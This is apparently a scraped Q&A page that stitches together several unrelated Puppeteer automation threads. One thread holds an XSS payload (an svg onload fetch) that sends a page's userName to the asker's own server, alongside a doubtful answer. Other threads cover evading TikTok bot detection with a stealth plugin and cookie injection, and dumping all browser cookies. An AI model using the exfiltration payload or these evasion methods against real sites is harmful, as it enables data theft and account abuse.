I have a page (secretpage.php) containing JavaScript in the HTTP response which sends the value of the userName parameter to my server.
<svg/onload=fetch('http://localhost:8080/username='+document.getElementById("userName").innerHTML)>
On non-headless mode running Chrome, the JavaScript executed successfully and I got a callback on my local server with the value of the "userName" sent back.
However, on headless mode, the JavaScript did not execute at all which is quite puzzling.
I have attached my js file (test.js) here for reference.
node test.js
Output of test.js below
const puppeteer = require('puppeteer');
(async () => {
//const browser = await puppeteer.launch({ headless: false });
const browser = await puppeteer.launch();
const page = await browser.newPage();
await page.goto('http://localhost/forum/');
await page.type("#lbluserName", "john", { delay: 100 });
await page.type("#lblpassword", "password", { delay: 100 });
await page.click("#btnLogin");
//await page.waitForNavigation();
await page.waitFor(5000);
await page.setViewport({
width: 1280,
height: 800,
deviceScaleFactor: 1,
});
await page.goto('http://localhost/forum/pages/secretpage.php');
await page.waitForSelector('#comments');
await page.screenshot({ path: 'screenshot.png' });
await browser.close();
})();
Could anyone please help with troubleshooting this as this is rather peculiar?
Thank you!
I think you need to run chrome with enabling js in headless mode.
await puppeteer.launch({
args: [
'--enable-features=ExperimentalJavaScript'
]
})
Related
For example, I accessed https://t.me/movocashtransfers. A pop-up window appears asking if you want to open the Telegram app. I want to close this because I have to close it to crawl web information.
Code below just does not work. It opens chromiun but does not do anything regarding pop-up. So I get everlasing timeout
async test(){
const browser = await puppeteer.launch({headless: false, args:['--no-sandbox'], ignoreHTTPSErrors: false,});
const page = await browser.newPage();
page.on('dialog', async dialog => {
console.log(dialog.message());
await dialog.dismiss();
});
let temp = await page.goto('https://t.me/kstati_p/22064', { waitUntil: 'load' });
await page.$x("//button[text()='cancel']")[0]
console.log(temp)
console.log(await page.content());
await page.close();
}
const browser = await puppeteer.launch({ headless: true });
const page = await browser.newPage();
await page.goto(url, { waitUntil: "networkidle2", timeout: 0 });
await page.screenshot({ path: `image1.png`, fullPage: true });
I want to capture the screenshot of the whole page content. But my code returns only a preloader image. How can i skip capturing the preloader, and get the real screenshot.
I tried using page.waitForSelector(), It gives me timeout error.
await page.goto('https://discord.com/channels/850682587273625661/919026857926590535', { waitUntil: 'networkidle0', timeout: 0 });
await page.screenshot({ path: 'discor.png' })
The main idea here is that if I puppeteer.launch() site is loaded whereas I use puppeteer.connect() is looks as if Discord block my script. Are there any ways to bypass this restriction of Discord?
This url redirects you to a login page, you'd then have to actually log in as you would do manually:
await page.goto('https://discord.com/channels/850682587273625661/919026857926590535');
// enter email
const emailtarget = await page.waitForSelector("input[name=email]", {visible: true});
await emailtarget.type("my#email.com");
// enter password
const passtarget = await page.waitForSelector("input[name=password]", {visible: true});
await passtarget.type("mySecretPass");
// submit
const submitBtn = await page.waitForSelector("button[type=submit]", {visible: true});
await submitBtn.click();
// wait for redirection
await page.waitForNavigation();
// should be logged in, take screenshot
await page.screenshot({ path: 'discor.png' });
I am trying to use puppeteer to sign into TikTok. However, each time I try to sign into TikTok with puppeteer it says "You are visiting our site too frequently" as pictured below.
TikTok after running the code
Here are the things I've tried:
using puppeteer stealth
using firefox puppeteer
using both puppeteer stealth and firefox puppeteer
using a VPN
logging into the account on a different device, logging out on that device, and then running the code
waiting 4 hours between running the code
Puppeteer doesn't throw any errors either
Let me know what you guys think!
Here is the code too:
const puppeteer = require("puppeteer-extra");
const StealthPlugin = require("puppeteer-extra-plugin-stealth");
puppeteer.use(StealthPlugin());
(async () => {
const browser = await puppeteer.launch({ headless: false });
const page = await browser.newPage();
await page.goto("https://www.tiktok.com/login/phone-or-email/email");
await page.type("input[name=email]", EMAIL, { delay: 20 });
await page.type("input[name=password]", PASSWORD, { delay: 20 }); // log in w email and password
await page.evaluate(() => {
document.querySelector("button[type=submit]").click();
}); // press login button
await page.screenshot({ path: "example.png" });
await browser.close();
})();
Log in manually one time and then do a cookie injection for each subsequent login :)
(of course, you'll need to save down all the cookies to do so, but only once!)
I'm actually trying to use puppeteer for scraping and I need to use my current chrome to keep all my credentials. However, chrome can't remember previous session and I have to click the login button every time. By contrast, chrome can remember the saved credential. Is there a way to make it?
I'm actually using:
Node v12.16.1
chrome 80.0.3987.132 (Official Build) (64-bit) (cohort: Stable)
puppeteer-core 2.1.0 // see: https://github.com/puppeteer/puppeteer/blob/v2.1.0/docs/api.md
test.js:
const pptr = require('puppeteer-core');
(async () => {
const browser = await pptr.launch({
executablePath: 'C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe',//path to your chrome
headless: false,
args:[
'--user-data-dir=D:/Users/xxx/AppData/Local/Google/Chrome/User Data2',
]
});
const page = await browser.newPage();
await page.goto('https://hostloc.com');
await page.screenshot({path: 'example.png'});
await page.waitFor(10000);
await browser.close();
})();
You should use cookies so that you can get the previous data from them. Here is a link about the set cookie in the puppeteer.
Here below is an example of code for how to set cookies in puppeteer. It Sets the "login_email" property in a Paypal cookie so the login screen is pre-filled with an email address.
const cookie = {
name: 'login_email',
value: 'set_by_cookie#domain.com',
domain: '.paypal.com',
url: 'https://www.paypal.com/',
path: '/',
httpOnly: true,
secure: true
}
const puppeteer = require('puppeteer');
(async () => {
const browser = await puppeteer.launch()
const page = await browser.newPage()
await page.setCookie(cookie)
await page.goto('https://www.paypal.com/signin')
await page.screenshot({ path: 'paypal_login.png' })
await browser.close()
})()
Regarding get the cookies, You can create a Chrome DevTools Protocol session on the page target using target.createCDPSession(). Then you can send Network.getAllCookies to obtain a list of all browser cookies.
The page.cookies() function will only return cookies for the current URL. So we can filter out the current page cookies from all of the browser cookies to obtain a list of third-party cookies only.
const client = await page.target().createCDPSession();
const all_browser_cookies = (await client.send('Network.getAllCookies')).cookies;
const current_url_cookies = await page.cookies();
const third_party_cookies = all_browser_cookies.filter(cookie => cookie.domain !== current_url_cookies[0].domain);
console.log(all_browser_cookies); // All Browser Cookies
console.log(current_url_cookies); // Current URL Cookies
console.log(third_party_cookies); // Third-Party Cookies
For example, get all of the cookies
const puppeteer = require('puppeteer');
(async() => {
const browser = await puppeteer.launch({});
const page = await browser.newPage();
await page.goto('https://stackoverflow.com', {waitUntil : 'networkidle2' });
// Here we can get all of the cookies
console.log(await page._client.send('Network.getAllCookies'));
})();
I hope this will help you.